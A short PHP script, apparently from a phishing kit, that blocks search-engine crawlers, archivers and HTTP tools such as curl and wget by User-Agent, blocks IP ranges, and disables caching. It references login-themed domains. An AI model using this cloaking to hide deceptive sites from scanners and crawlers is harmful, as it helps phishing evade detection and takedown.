<?php
session_start();

// Lista de User-Agents comunes de bots a bloquear
$blockedUserAgents = [
    'AhrefsBot', 'MJ12bot', 'SemrushBot', 'DotBot', 'Baiduspider', 'YandexBot', 
    'Googlebot', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'Sogou', 'Exabot',
    'facebot', 'ia_archiver', 'Python', 'Curl', 'wget', 'libwww-perl', 'HTTrack',
    'Java', 'MauiBot'
];

// URL permitida para bots (URL referer específica)
$allowedReferer = 'https://www.wolfv3-login.pro//'; 
$allowedReferer = 'http://ghostunlock.com/'; 

// Función para verificar si el User-Agent está en la lista de bloqueados
function isBot($userAgent, $blockedAgents) {
    foreach ($blockedAgents as $agent) {
        if (stripos($userAgent, $agent) !== false) {
            return true;
        }
    }
    return false;
}

// Bloquear por User-Agent
$userAgent = $_SERVER['HTTP_USER_AGENT'];
if (isBot($userAgent, $blockedUserAgents)) {
    header('HTTP/1.0 403 Forbidden');
    echo "Acceso denegado.";
    exit;
}

// Bloquear por IP (opcional)
$blockedIPs = [
    '192.0.2.1', '203.0.113.0/24' // Añadir las IPs o rangos IPs aquí
];

// Función para verificar si la IP está en el rango bloqueado
function ipInRange($ip, $range) {
    if (strpos($range, '/') === false) {
        return $ip === $range;
    } else {
        list($range, $netmask) = explode('/', $range, 2);
        $rangeDecimal = ip2long($range);
        $ipDecimal = ip2long($ip);
        $wildcardDecimal = pow(2, (32 - $netmask)) - 1;
        $netmaskDecimal = ~$wildcardDecimal;
        return (($ipDecimal & $netmaskDecimal) === ($rangeDecimal & $netmaskDecimal));
    }
}

$clientIP = $_SERVER['REMOTE_ADDR'];
foreach ($blockedIPs as $ip) {
    if (ipInRange($clientIP, $ip)) {
        header('HTTP/1.0 403 Forbidden');
        echo "Acceso denegado.";
        exit;
    }
}



// Desactivar caché
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Pragma: no-cache');
header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');
?>